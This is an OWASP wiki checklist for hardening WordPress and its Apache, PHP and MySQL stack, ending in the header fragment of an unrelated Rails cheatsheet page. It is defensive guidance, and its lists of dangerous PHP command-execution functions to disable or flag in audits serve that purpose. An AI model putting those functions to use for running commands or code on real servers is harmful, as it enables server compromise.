This section is meant to be just a reminder that all the other hardening measures are useless if an attacker can gain access to WordPress users’ computers. We’re not going to spend the time and effort to go into details but rather enumerate the common good practices each security conscious user should have in mind. There are plenty of good resources to help anyone accomplish security basics.<br />
<br />
== Device security ==<br />
When we talk about devices capable of accessing the WordPress administration interface we don’t just talk about computers but mobile devices as well. The following is a list of items that needs to be taken into account when securing the devices that will be accessing the WordPress instances. Some of them may refer to PCs and mobile devices, others just to one of the devices.<br />
<br />
* Password protect the device<br />
* Use strong passwords<br />
* Keep the OS updated<br />
* Encrypt the storage<br />
* Have an anti-virus installed and updated<br />
* Have a malware/spyware scanner installed and perform regular scans and updates<br />
* Have a firewall installed and configured <br />
* [http://www.cert.org/historical/tech_tips/securing-web-browser-index.cfm Secure your browser]<br />
<br />
= Infrastructure security =<br />
Before hardening the core of WordPress an implementer must consider hardening the services on which the instance will be installed. Sometimes the underlying infrastructure is not under the control of the implementer. While there are things that can be hardened on WordPress to mitigate things that are supposed to be fixed on the infrastructure side, one should always consider defense in depth. The implementer can contact the infrastructure administrator and ask for specific hardening in order to further protect the applications that will be installed on top of that, in this case WordPress. <br />
<br />
The foundation of infrastructure hardening is operating system hardening. This is a broad subject and highly dependent on the OS, the main concerns being around privileges, access control, authentication and logging. It’s a topic outside the coverage of the current project and these are things that must be covered by experienced System Administrators.<br />
<br />
WordPress can be installed on a multitude of platforms but the main focus below is on the most common components, Apache and MySQL. The general rules though apply to all supported infrastructure components. <br />
<br />
Following best design practices, the tiers of the WordPress instance should be separated. However the presentation and application layers of WordPress are bound together. Thus only one separation is possible, the one with the database. For small applications it’s not a common practice, but for larger sites this becomes a must from a security but also a performance perspective. <br />
<br />
As was the case with general security, this is just a list of things that should be performed in order to harden the infrastructure and not the means to do it. <br />
<br />
== Apache hardening ==<br />
* Update regularly<br />
* Disable directory listing<br />
* Secure the communication with the server by generating and using SSL certificates<br />
* Disable unnecessary modules<br />
** Good candidates for this are: ''userdir'', ''suexec'', ''cgi/cgid'', ''include'', ''autoindex''<br />
* Run the daemon as a separate user and group<br />
* Use ''Allow'' and ''Deny'' to restrict access to directories<br />
* Use ''mod_security'' module to secure Apache<br />
* Disable following of ''symbolic links''<br />
* Turn off server sides includes and CGI execution<br />
* Limit request size<br />
* Configure other settings like ''TimeOut'', ''MaxClients'', ''KeepAliveTimeout'', ''LimitRequestFields'', ''LimitRequestFieldSize'' in order to prevent DoS attacks<br />
* Enable and configure proper logging<br />
* Modify server banner<br />
<br />
== PHP hardening ==<br />
* Update regularly<br />
* Don’t install PHP as a CGI binary<br />
* Disable unnecessary PHP modules<br />
* Disable unused potentially dangerous PHP functions (good examples: ''exec'',''passthru'',''shell_exec'',''system'', etc.)<br />
* Log errors internally<br />
* Disable verbose error reporting on the client side<br />
* Turn off remote code execution (if it’s not needed; the core WordPress doesn’t need this functionality)<br />
* Disable magic quotes<br />
* Limit PHP access to file system<br />
* Protect from DoS<br />
** Control POST size<br />
** Limit script time execution<br />
** Limit memory usage<br />
* Consider implementing the [http://www.suhosin.org/stories/index.html Suhoshin security extension]<br />
* Hide the version of PHP in use<br />
* Hide the .php extension<br />
<br />
== MySQL hardening ==<br />
There is an entire [https://www.owasp.org/index.php/OWASP_Backend_Security_Project_MySQL_Hardening OWASP project dedicated to MySQL hardening]. The main action items are:<br />
<br />
* Update regularly<br />
* Disable or restrict remote access<br />
* Filesystem access restrictions and ACLs<br />
* Designing a chroot-jail<br />
* Encrypting network traffic (this is a must if the database layer is physically separated from the application layer)<br />
* Encrypting raw databases on filesystem level<br />
** Redundant if disk encryption is in place at the OS layer<br />
** However, by using ''dmcrypt'', one can generate an extra layer of encryption<br />
* Backup encryption<br />
* Configuration<br />
** Connectivity: maximum number of concurrent connections and related settings<br />
** Logging<br />
** Access control and privilege management<br />
** Set up root password<br />
** Rename root account<br />
** Delete unused users and databases<br />
** Remove installation history<br />
<br />
A PHP security checker is available [https://github.com/sektioneins/pcc here]. This is a one-page php file designed to analyze PHP configuration and rank the findings based on severity.<br />
<br />
'''Note on WordPress / MySQL specific hardening:''' In a typical WordPress installation the MySQL user used by WordPress has full administrative privileges on the database. This is required so when WordPress is installed the tables can be created in the database. Also, some plugins create their own tables, so such privilege is required. However, as an extra precaution you should limit the MySQL user's database privileges to just reading and writing of data. Only allow database structure alteration privileges when required, typically when:<br />
* Installing a new plugin that requires it's own table<br />
* Updating WordPress core (major version updates)<br />
* Updating a plugin that uses its own tables<br />
* Uninstalling a plugin that uses its own tables so it can delete the tables.<br />
<br />
== Remote access ==<br />
* Don’t use FTP (use sFTP where possible)<br />
* If SSH access is available, use [http://linux.die.net/man/1/scp scp] or [http://winscp.net/eng/index.php WinSCP] for file transfer <br />
* Consider using VPN or [http://www.pentest.ro/ssh-tunnels-an-alternative-to-vpn/ SSH tunnels] to the server for accessing the WordPress administrative interface<br />
<br />
= WordPress security =<br />
There are three main components of WordPress that need to be considered from a security perspective when implementing the solution.<br />
<br />
* Core – the basic default installation files that provide most of the functionality <br />
* Plugins – special written code to improve and extend the basic functionality<br />
* Theme – the presentation layer which may come with some limited extended functionality<br />
<br />
== Updates ==<br />
It is of vital importance to keep WordPress core, plugins and themes updated. Once an update is released, it needs to be applied as soon as possible to close any security holes. <br />
<br />
Functional problems with updates must be considered. It is possible that an update will break some of the functionality so a backup is recommended before updating the core. <br />
<br />
=== WordPress Core ===<br />
The WordPress core has three different types of updates:<br />
<br />
* Core development updates, known as the "bleeding edge"<br />
* Minor core updates, such as maintenance and security releases<br />
* Major core release updates<br />
<br />
Starting with version 3.7, automatic background updates were introduced by default for minor core updates releases (generally security updates). This default behavior can be overridden by editing the wp-config.php file and adding or modifying the following statement<br />
<br />
''define( 'WP_AUTO_UPDATE_CORE', true );''<br />
<br />
When set to true all updates will be enabled. Translations are updated by default with the minor core updates.<br />
<br />
=== Themes and Plugins ===<br />
The themes and plugins can be updated automatically using filters. The best place to put a filter is in a [http://codex.wordpress.org/Must_Use_Plugins must-use plugin]. WordPress doesn’t recommend putting filters in the wp-config.php file because of conflicts with other parts of the code.<br />
<br />
To enable automatic updates for themes and plugins, add the following code<br />
<br />
''add_filter( 'auto_update_plugin', '__return_true' );''<br />
<br />
''add_filter( 'auto_update_theme', '__return_true' );''<br />
<br />
== Removal of unused plugins and themes ==<br />
Depending on the server configuration, the files in the WordPress folder can be accessed from the Internet regardless of whether they are used or not. Even if a plugin is disabled, the files are still there and they are accessible from the Internet.<br />
<br />
When a new vulnerability is discovered, the attackers write scripts to look for the vulnerable files. Knowing the location of vulnerable plugins increases their chances of infiltrating a vulnerable instance. <br />
<br />
Any plugins and themes that are not actively used must be deleted. <br />
<br />
== Plugins & Themes Security ==<br />
Plugins and themes are a great addition to the functionality offered by the WordPress core. WordPress’ success is based on these elements. It’s easy to develop a new theme, add new functions with plugins. This ease of development comes with the security downside. In the rush for functionality, the developers often forget about security. Looking at the [https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress CVE list for WordPress] it’s worth noticing that in the past years most of the security defects are affecting the plugins and themes and not WordPress core.<br />
<br />
Developing on top of WordPress should be regarded as a regular development job and follow a standard secure development lifecycle. Concrete action items for this chapter include source code review and penetration testing of plugins and themes.<br />
<br />
When choosing to use an already developed plugin by a 3<sup>rd</sup> party, a security audit should be performed. Good differentiators for available plugins are:<br />
<br />
* Publication in the official plugin store at https://wordpress.org/plugins/<br />
* User ratings and comments<br />
* Version number (is it a young plugin/theme or has it faced the challenges of time?)<br />
* Last update <br />
* Update frequency <br />
* Compatibility with the current version of the WordPress core<br />
<br />
=== Source code audits for Plugins & Themes ===<br />
In order to perform a source code audit, the following free tools can be used:<br />
<br />
* [http://rips-scanner.sourceforge.net/ RIPS]<br />
* [http://www.program-transformation.org/PHP/PhpSat PHP-sat]<br />
* [https://www.scovetta.com/yasca/ Yasca]<br />
* [http://resources.infosecinstitute.com/finding-bugs-in-php-using-grep/ Manual analysis using grep], [https://grepbugs.com/ GrepBugs]<br />
<br />
===WordPress Vulnerability Scanner===<br />
WPScan is a free, for non-commercial use, black box [https://wpscan.org/ WordPress vulnerability scanner] written for security professionals and blog maintainers to test the security of their sites. The WPScan CLI tool uses data from the [https://wpvulndb.com/ WPScan Vulnerability Database], which includes WordPress Core, them and plugin vulnerabilities.<br />
<br />
==== Free source code audits for Plugins on the WordPress Repository ====<br />
CodeRisk, the developers of the RIPS free scanner also run [https://coderisk.com/wp/plugins automated source code audit scans] of all the plugins on the WordPress repository. If you have a plugin on the WordPress repository, create a free account and claim ownership of your plugin on their project. As a verified plugin owner you will have access to the detailed scan results and can see all the technical vulnerability details you require to address the flaw.<br />
<br />
Things to pay extra attention during the source code audit:<br />
<br />
* Obfuscated code<br />
* BASE64 encode function<br />
* System call functions (exec, passthru, system, shell_exec, etc.)<br />
* PHP code execution (eval, assert, preg_replace, etc.)<br />
* Information disclosure functions (phpinfo, getenv, getmygid/pid/uid, etc.)<br />
* Filesystem functions (fopen, bz/gzopen, chgrp/own/mod, etc.)<br />
<br />
== Backup ==<br />
The backup process is essential. The configuration of the backup process can make the distinction between a clean and fast recovery or a loss of data and prolonged downtime.<br />
<br />
What needs to be included in the backup?<br />
<br />
* The WordPress Files<br />
** WordPress Core Installation<br />
** WordPress Plugins<br />
** WordPress Themes<br />
** Images and Files<br />
** JavaScript and PHP scripts, and other code files<br />
** Additional Files and Static Web Pages<br />
* The Database<br />
<br />
It’s easy to say that a full backup of the /public_html folder is needed. However there are situations in which this is not feasible nor enough. There are situations in which large quantities of data is generated in the public folder (statistics, temporary data, etc.) that is useless in the backup process. There’s also the situation in which configuration files are placed outside the public directory. They also need backup.<br />
<br />
The plan is to identify the files and folders that must be part of the backup process and save these in a remote location.<br />
<br />
For database backup, the mysql command line can be used or administrative interfaces like phpMyAdmin. <br />
<br />
How often should the backup be performed? It all depends on how often the instance is updated from a content perspective. If there are multiple updates a day, it’s a good idea to have a daily backup. If there’s a new article every several days, than a weekly or monthly backup is the way to go.<br />
<br />
It’s a good practice to keep multiple backups and have them time stamped. This is because a breach might not be noticed immediately and a clean recovery can only be performed from a backup which is several iterations old. <br />
<br />
Verifying that the backup is functional is part of the process. A backup that does not allow quick and full recovery is useless. The idea is to have a clean server and perform a full recovery from the backup, then check all the functionality and make sure nothing is missing.<br />
<br />
=== Automation ===<br />
The steps above are manual and labor intensive. There is a full list of plugins that can help this process: https://wordpress.org/plugins/tags/backup<br />
<br />
The one free alternative offering full backup capabilities that stands out of the list is [https://wordpress.org/plugins/backwpup/ BackWPup]. The free version can be used to save your complete installation including /wp-content/ and push it to an external Backup Service, like Dropbox, S3, FTP (not a good idea) and many more. <br />
<br />
From a security perspective, it’s worth noticing that an attacker who compromised the installation may be able to retrieve credentials and access the remote location of the backups, thus being able to manipulate or delete them. As a good precaution, on the remote side where the backups are stored, an independent process should take the backups and move them to a location inaccessible from the WordPress installation.<br />
<br />
== User roles and proper usage ==<br />
Understanding the roles and properly assigning them to users is essential in the segregation of duties process. <br />
<br />
The WordPress roles are:<br />
<br />
* Super Admin – somebody with access to the site network administration features and all other features<br />
* Administrator – somebody who has access to all the administration features within a single site<br />
* Editor – somebody who can publish and manage posts including the posts of other users<br />
* Author – somebody who can publish and manage their own posts<br />
* Contributor – somebody who can write and manage their own posts but cannot publish them<br />
* Subscriber – somebody who can only manage their profile<br />
<br />
The least privilege principle must be considered when assigning roles. <br />
<br />
A full list of privileges and a comparison between roles is available at http://codex.wordpress.org/Roles_and_Capabilities. <br />
<br />
Supporting plugins:<br />
<br />
* [https://wordpress.org/plugins/members/ Members Plugin]<br />
* [https://wordpress.org/plugins/role-scoper/ Role Scoper Plugin]<br />
* [http://wordpress.org/extend/plugins/user-access-manager/ User Access Manager]<br />
* [http://wordpress.org/extend/plugins/advanced-access-manager/ Advanced Access Manager]<br />
* [http://wordpress.org/extend/plugins/user-role-editor/ User Role Editor]<br />
<br />
== Restrict the access to the admin interface ==<br />
Restricting the access to the admin interface should be considered as no regular user is in need of access to this area. For a site with few users it makes sense to whitelist their IP addresses. Additionally, the access can be restricted only to the localhost and have the users VPN in or create a tunnel to the server (if SSH is enabled) and then access the admin interface.<br />
<br />
To restrict the access to the wp-admin folder, a file called .htaccess needs to be created in that folder. The content of the file should be:<br />
<br />
''Order Deny,Allow''<br />
<br />
''Deny from all''<br />
<br />
''Allow from 127.0.0.1''<br />
<br />
Multiple IP addresses separated by whitespaces can be added and the use of wildcards (*) is permitted.<br />
<br />
== Prevent brute-forcing ==<br />
Brute-forcing is the easy way in for an attacker. As discussed in the General Security chapter, a prerequisite for preventing bruteforcing is to have [https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Password_Complexity strong passwords]. Apart from that, an additional layer of protection can be added in the form of [http://en.wikipedia.org/wiki/CAPTCHA CAPTCHA]. <br />
<br />
One good plugin candidate is [https://wordpress.org/plugins/google-captcha/ Google Captcha (reCAPTCHA)]. The advantage of this plugin is that it can be used to add the extra layer of protection on other areas as well (like registration and comments).<br />
<br />
CAPTCHA is not a perfect solution by any means. There are services offering real-time CAPTCHA solving for a few cents per challenge. However it takes seconds to solve a CAPTCHA even for a good service like this, thus this sort of attack becomes unfeasible.<br />
<br />
Another preventive measure is to lock-out accounts after a series of failed attempts. There is no plugin at the moment that can lock a user after several failed attempts for a period of time, there are plugins blocking IP addresses that are brute-forcing the login mechanism. This approach is not the best when dealing with distributed attacks.<br />
<br />
== Implement two factor authentication ==<br />
To add another layer of security on the authentication mechanism, two factor authentication can be enabled. Two factor authentication is a method of securing accounts requiring that you not only know something (a password) to log in but also that you possess something (your mobile device). The benefit of this approach to security is that even if someone guesses your password, they need to have also stolen your possession in order to break into your account.<br />
<br />
Supporting plugins: <br />
* Clef (unfortunately the product was retired in April 2017)<br />
* Google Authenticator<br />
* MiniOrange and other 2FA plugins<br />
https://en-gb.wordpress.org/plugins/tags/2fa/<br />
<br />
== Remove or change the default administrator account ==<br />
There are two main reasons for creating a new administrator or modifying the old one:<br />
<br />
* After the installation the default username is “admin”; an attacker trying to brute-force his way in will try default usernames<br />
* The default id of the admin account is 1; an attacker who discovers a SQL injection is will try to update the user with id = 1<br />
<br />
Both tasks can be performed manually in the database without the need to delete the admin account or can be performed in the administration User Interface. Create a new administrator, log in with the new credentials and delete the default one.<br />
<br />
== Disable user registration if not needed ==<br />
If user management is performed manually or through integration with other user management systems, there is no need for this functionality to be enabled in WordPress.<br />
<br />
To disable user registration, log in as an administrator, go to '''Settings -> General''' and make sure the '''“Anyone can register”''' box is unchecked.<br />
<br />
== Change the database prefix ==<br />
In case a 0-day SQL injection vulnerability is discovered, an attacker will try to exploit the known tables from a default WordPress installation. To prevent this from happening, the default prefix of the tables needs to be changed. This can be performed in several ways:<br />
<br />
* During the installation process<br />
* Manually via ''mysql'' command line or ''phpMyAdmin'' for all the tables; after this, the wp-config.php file must be configured to reflect the changes ($table_prefix = "ves1uaq3_";)<br />
* With a plugin ([https://wordpress.org/plugins/db-prefix-change/ Change DB Prefix])<br />
<br />
== Control comments ==<br />
WordPress was initially a blogging platform so the ability to add comments was part of the success story. Things changed with the shift of WordPress towards a CMS so comments might not be necessary in all instances. There are several things that need to be considered when dealing with this topic:<br />
<br />
* Are comments needed? If not, they should be disabled. Log in as administrator. For new posts go to '''Settings -> Discussion''' and uncheck "'''Allow people to post comments on new articles'''". For existing posts, go to '''Posts''', select all of them, '''Bulk Actions -> Edit''' and choose “'''do not allow'''” near '''Comments''' before hitting '''Update posts'''.<br />
* If comments are required, who should be able to post them? If only registered users should be allowed to add comments, go to '''Settings -> Discussion''' and check the “'''Users must be registered and logged in to comment'''” box.<br />
* Should comments be reviewed before publishing? If so, the “'''Comment must be manually approved'''” box must be checked.<br />
* If comments are not reviewed before publishing, using an anti-spam plugin like the default [https://wordpress.org/plugins/akismet/ Akismet] is advised <br />
<br />
As a general rule of thumb, all the options under '''Settings -> Discussion '''should be carefully reviewed. <br />
<br />
== Check file permissions ==<br />
Permissions on files and directories determine who is allowed to read, write and execute them. Permission settings will vary from situation to situation and between shared hosting and dedicated hosting.<br />
<br />
Following is a list of desired permissions on sensitive items and fallback options:<br />
<br />
* wp-config.php<br />
** Desired: 400<br />
** Fallback: 440, 600, 640<br />
* uploads folder<br />
** Desired: 755<br />
** Fallback: 766, 777 (not recommended)<br />
* .htaccess files<br />
** Desired: 400<br />
** Fallback: 440, 444, 600, 640<br />
<br />
== Delete readme.html and install.php ==<br />
The readme.html file may reveal sensitive information and is not needed from a functional perspective. <br />
<br />
The install.php is a residue of the installation process and even though it does not allow it to be restarted it’s not needed and should be removed.<br />
<br />
The license.txt reveals the year of last Wordpress update - a fact that attackers can use to scan for outdated WordPress installations.<br />
<br />
Action item:<br />
<br />
* Delete the /<WordPress_root>/readme.html /<WordPress_root>/license.txt and /<WordPress_root>/wp-admin/install.php files<br />
<br />
== Add blank index.php files where needed ==<br />
Especially in shared environments where the settings of the web server are outside the control of the WordPress implementer, directory listing might be enabled. To add an extra layer of security, blank index.php files should be added to the folders that don’t have indexes in order to prevent browsing of the resources. The main folders that need to be considered are:<br />
<br />
* wp-includes<br />
* wp-content<br />
* wp-content/plugins<br />
* wp-content/themes<br />
* wp-content/uploads<br />
<br />
== Move wp-config.php file outside the web root folder ==<br />
The wp-config.php file is a very important configuration file. It contains a lot of sensitive information about your WordPress site, like your database information for example.<br />
<br />
WordPress will automatically look for this file in the folder above the WordPress root folder if it does not exist in the root folder. Moving this file out of the public_html folder means the file will not be accessible from the Internet.<br />
<br />
== Create secret keys ==<br />
Starting with the release of WordPress 2.6, a new set of security features for passwords and password hashing and cookie security is included. This feature works without doing anything, but it's not particularly powerful without some extra steps. In order to greatly increase the security of the WordPress installation, secret keys must be set up. This should be part of the standard installation process. Whenever there’s suspicion that the secret keys have been compromised, the administrator must change them. Changing the secret keys will invalidate all sessions so users will need to re-authenticate. <br />
<br />
Setting up or changing secret keys can be done by adding or editing the following lines to the wp-config.php file, right after the other define statements:<br />
<br />
''define('AUTH_KEY', 'put your unique phrase here');''<br />
<br />
''define('SECURE_AUTH_KEY', 'put your unique phrase here');''<br />
<br />
''define('LOGGED_IN_KEY', 'put your unique phrase here');''<br />
<br />
''define('NONCE_KEY', 'put your unique phrase here');''<br />
<br />
You don't have to remember the keys, just make them long, random and complicated -- or better yet, use the [https://api.wordpress.org/secret-key/1.1/salt/ online generator].<br />
<br />
== Enforce transport layer encryption (HTTPS) for all site pages ==<br />
Regardless of what information you have stored on your website, enforce transport layer encryption. It should be enforced on both the front end for the visitors, and also on the the WordPress admin pages for the logged in users. <br />
<br />
=== Free SSL/TLS Certificate ===<br />
You can get a free SSL/TLS certificate for your WordPress site from [https://letsencrypt.org/ Let's Encrypt]. All the major WordPress web hosts support Let's Encrypt.<br />
<br />
=== Switching your WordPress to HTTPS ===<br />
If you already have a WordPress site hosted on HTTP, you can switch to HTTPS by following one of the methods below.<br />
<br />
==== The Manual Method ====<br />
# Install the SSL/TLS certificate.<br />
# Login to your WordPress and navigate to the '''Settings''' >> '''General''' page.<br />
# Change the protocol from ''HTTP'' to ''HTTPS'' in the ''Website Address (URL)'' and ''Site Address (URL)'' settings.<br />
# Save the settings.<br />
# Use the tool [https://interconnectit.com/products/search-and-replace-for-wordpress-databases/ Database Search and Replace Script in PHP] to replace the protocol of all the links pointing to your own website in your database from ''HTTP'' to ''HTTPS''.<br />
# Configure the web server to redirect all the HTTP traffic to HTTPS as per the instructions below.<br />
<br />
===== Redirecting HTTP to HTTPS traffic on Apache =====<br />
Add the below code to your .htaccess file.<br />
<IfModule mod_rewrite.c><br />
RewriteEngine On<br />
RewriteCond %{HTTPS} off<br />
RewriteRule ^(.*)$ <nowiki>https://%{HTTP_HOST}%{REQUEST_URI}</nowiki><br />
[L,R=301]<br />
</IfModule><br />
<br />
===== Redirecting HTTP to HTTPS traffic on Nginx =====<br />
Add the below code to your Nginx configuration file and change ''mysite.com'' with the domain of your WordPress site.<br />
server {<br />
listen 80;<br />
server_name mysite.com www.mysite.com;<br />
return 301 <nowiki>https://mysite.com$request_uri</nowiki>;<br />
}<br />
<br />
==== The Plugin Method ====<br />
Alternatively, you can also use the plugin [https://wordpress.org/plugins/really-simple-ssl/ Really Simple SSL] to switch your WordPress to HTTPS.<br />
<br />
== Use a Web Application Firewall (WAF) ==<br />
A WAF should be in place at the web server layer. Because that is not always accessible to the implementer, a WAF plugin can be used to add this layer of protection. You can use the free plugin [https://wordpress.org/plugins/block-bad-queries/ BBQ: Block Bad Queries] as a WAF for your WordPress site.<br />
<br />
== Security plugins ==<br />
This section is a list of security plugins and a short description of their functionality. As previously mentioned, the focus is on free plugins.<br />
<br />
* [https://wordpress.org/plugins/wpscan/ WPScan WordPress Security Plugin] - Uses the WPScan Vulnerability Database to scan sites for known WordPress core, theme and plugin vulnerabilities.<br />
* [https://wordpress.org/plugins/better-wp-security/ iThemes Security] – iThemes Security (formerly Better WP Security) gives you over 30+ ways to secure and protect your WordPress site. In its free version it can obscure, detect, protect and recover a WordPress installation<br />
* [https://wordpress.org/plugins/bulletproof-security/ BulletProof Security] – the free version offers:<br />
** .htaccess Website Security Protection (Firewalls)<br />
** Login Security & Monitoring<br />
** DB Backup<br />
** DB Backup Logging<br />
** DB Table Prefix Changer<br />
** Security Logging<br />
** HTTP Error Logging<br />
** FrontEnd/BackEnd Maintenance Mode<br />
* [https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/ All In One WP Security & Firewall]<br />
** User Account/Login/Registration Security<br />
** Database & File System Security<br />
** htaccess and wp-config.php File Backup and Restore<br />
** Blacklist Functionality<br />
** Firewall Functionality<br />
** Brute-force login attack prevention<br />
** Security Scanner<br />
* [https://wordpress.org/plugins/sucuri-scanner/ Sucuri Security - Auditing, Malware Scanner and Security Hardening]<br />
** Security Activity Auditing<br />
** File Integrity Monitoring<br />
** Remote Malware Scanning<br />
** Blacklist Monitoring<br />
** Effective Security Hardening<br />
** Post-Hack Security Actions<br />
** Security Notifications<br />
** Website Firewall (add on)<br />
*[https://en-gb.wordpress.org/plugins/wordfence/ Wordfence Security Plugin] <br />
**Web Application Firewall<br />
**Threat Defence Feed<br />
**Real-time blocking of known attackers<br />
**Rate-limiting<br />
**Login Security<br />
**File integrity monitoring and scanning<br />
**Real-time Monitoring<br />
<br />
== Disable the Plugin and Theme Editor ==<br />
Occasionally you may wish to disable the plugin or theme editor to prevent overzealous users from being able to edit sensitive files and potentially crash the site. Disabling these also provides an additional layer of security if a hacker gains access to a well-privileged user account. <br />
<br />
Open your wp-config.php file and add the following constant:<br />
<br />
''define('DISALLOW_FILE_EDIT',true);''<br />
<br />
== Keep a WordPress Activity Log ==<br />
Logging is very important, especially on multi user platforms such as WordPress. The [[:Category:OWASP Top Ten Project|OWASP Top 10 project]] lists insufficient logging & monitoring as one of the most common security flaws in web applications.<br />
<br />
By default WordPress does not keep an activity log (audit log) of what logged-in users do on the website. So you can use a plugin to keep a record of the activity of logged-in users. Some of the security plugins mentioned in the previous section have some logging capabilities, though they are very basic.<br />
<br />
Below are some of the most popular WordPress activity log plugins you can work with if you want better coverage:<br />
<br />
[https://www.wpsecurityauditlog.com/ WP Security Audit Log]<br />
* comprehensive WordPress activity log solution<br />
* supports WordPress multisite networks<br />
* most advanced coverage in terms of what it can keep a log of<br />
* out of the box support for popular WordPress plugins such as WooCommerce, bbPress and Advanced Custom Fields (ACF).<br />
[http://wp-stream.com/ WP Stream]<br />
* easy to use<br />
* ideal for users who may not need detailed activity log<br />
* WP-CLI command interface for querying records<br />
* integrates with Slack<br />
[https://wordpress.org/plugins/simple-history/ Simple History]<br />
* ideal for users who may not need detailed activity log<br />
* has Limit Login Attempts included<br />
* activity log is available via a RSS feed<br />
* easy to integrate with<br />
<br />
= Large-scale integration =<br />
Implementing one WordPress site and maintaining it is a doable job for an administrator. In large corporate environments there may be hundreds of instances that need management, configuration and maintenance. This can easily become an unmanageable situation. When dealing with large number of instances, a centralized approach is needed.<br />
<br />
== Creating a standard image ==<br />
The first step is to create a standard WordPress installation with all the security configuration and plugins in place. This should be a blank installation with no data that can be easily replicated when a new instance needs to be created. <br />
<br />
A process for new instances must be in place and approach at least the following subjects:<br />
<br />
* General configuration<br />
* Database connectivity <br />
* Setting the administrator account<br />
<br />
== LDAP integration & Single Sign On ==<br />
User management for large WordPress sites can be a hassle. In corporate environments users are in general centrally managed and assigned to different groups. WordPress can make use of this already established situation. Whether it’s [http://en.wikipedia.org/wiki/Active_Directory Active Directory] or other LDAP compatible service, this establishment is already used in the organization trying to implement WordPress. It’s easy to set up groups based on WordPress roles and assign users to different groups, based on their required level of access. Once the integration is achieved, one can go further towards an elegant solution by implementing Single Sign On. <br />
<br />
Supporting plugins:<br />
<br />
* [https://wordpress.org/plugins/active-directory-integration/ Active Directory Integration]<br />
* [https://wordpress.org/support/plugin/active-directory-sso Active Directory SSO]<br />
* [https://wordpress.org/plugins/simple-ldap-login/ Simple LDAP Login]<br />
<br />
== Multisites ==<br />
A large environment requires multiple instances of WordPress. Managing each individual instance can become impossible for a single person or a small team. This is where a built-in feature of WordPress comes in handy, [http://codex.wordpress.org/Create_A_Network multisite or network of sites].<br />
<br />
A multisite network can be very similar to a personal version of WordPress.com. End users can create their own sites on demand, just like end users of WordPress.com can create blogs on demand. If there’s no need to allow end users to create their own sites on demand, the administrator of the network can create a multisite network in which only he can add new sites.<br />
<br />
A multisite network is a collection of sites that all share the same WordPress installation. They can also share plugins and themes. The individual sites in the network are virtual sites in the sense that they do not have their own directories on your server, although they do have separate directories for media uploads within the shared installation, and they do have separate tables in the database.<br />
<br />
WordPress does a good job in providing the necessary documentation for:<br />
<br />
* [http://codex.wordpress.org/Create_A_Network Installation]<br />
* [http://codex.wordpress.org/Multisite_Network_Administration Administration]<br />
* [http://codex.wordpress.org/Debugging_a_WordPress_Network Debugging]<br />
* [http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite Migration]<br />
<br />
The benefit of the multisite feature is centralized management of security. Plugins can be checked once for security defects and when a stable and secure version is available it can be pushed to all the sites in the same time.<br />
<br />
This built-in solution might not always be the best choice. For example, all the plugins are shared between different sites and the administrators of those sites choose which plugins to enable and which to disable.<br />
<br />
== Unified management of multiple installations ==<br />
If multiple separate instances of WordPress need to be managed centrally, there are several solutions (most of them have at least some form of commercial addons) that can accomplish the task:<br />
<br />
* [http://infinitewp.com/ InfiniteWP] is a free, self-hosted multiple WordPress management platform that simplifies WordPress management tasks into simple clicks. Features:<br />
** One master login<br />
** One click updates<br />
** Instant backup & restore<br />
** Plugins & themes management<br />
* [https://mainwp.com/ MainWP] is an open source, free and self-hosted WordPress management platform similar to InfiniteWP.<br />
* [https://managewp.com/ ManageWP]<br />
* [https://wpremote.com/ WPRemote] lets administrators monitor an unlimited number of WordPress websites. Through the WP Remote dashboard they can update WordPress and update plugins and themes. A snapshot (backup) of the websites can be downloaded from the interface<br />
<br />
<br />
= Resources =<br />
The project started with a discussion between [https://www.linkedin.com/in/dancatalinvasile Dan Vasile] (the initiator) and [https://www.linkedin.com/in/andersvinther Anders Vinther] who has already published [http://www.wpsecuritychecklist.com/ a guide] about secure WordPress implementation. Based on the information there, a part of the skeleton and content of the current project was created.<br />
<br />
== Browser security ==<br />
* http://www.cert.org/historical/tech_tips/securing-web-browser-index.cfm<br />
<br />
== Apache hardening ==<br />
* http://httpd.apache.org/docs/current/misc/security_tips.html<br />
* http://www.tecmint.com/apache-security-tips/<br />
* https://wiki.debian.org/Apache/Hardening<br />
<br />
== PHP hardening ==<br />
* http://php.net/manual/en/security.php<br />
* http://www.cyberciti.biz/tips/php-security-best-practices-tutorial.html<br />
* http://www.suhosin.org/stories/index.html<br />
<br />
== MySQL hardening ==<br />
* https://www.owasp.org/index.php/OWASP_Backend_Security_Project_MySQL_Hardening<br />
* http://www.greensql.com/content/mysql-security-best-practices-hardening-mysql-tips<br />
<br />
== Wordpress ==<br />
* http://codex.wordpress.org/Configuring_Automatic_Background_Updates<br />
* http://stackoverflow.com/questions/3115559/exploitable-php-functions<br />
* http://codex.wordpress.org/WordPress_Backups <br />
* http://codex.wordpress.org/Roles_and_Capabilities<br />
* http://en.support.wordpress.com/security/two-step-authentication/ <br />
* http://codex.wordpress.org/Create_A_Network <br />
* http://codex.wordpress.org/Before_You_Create_A_Network <br />
* http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite <br />
* http://codex.wordpress.org/Editing_wp-config.php<br />
<br />
=Project About=<br />
{{:Projects/OWASP_Wordpress_Security_Checklist_Project}} <br />
<br />
[[Category:OWASP Project]]<br />
[[Category:WordPress]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Ruby_on_Rails_Cheatsheet&diff=228397Ruby on Rails Cheatsheet2017-04-06T08:06:07Z<p>Ryan Dewhurst: Update codesake-dawm</p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-<br />
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' <br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
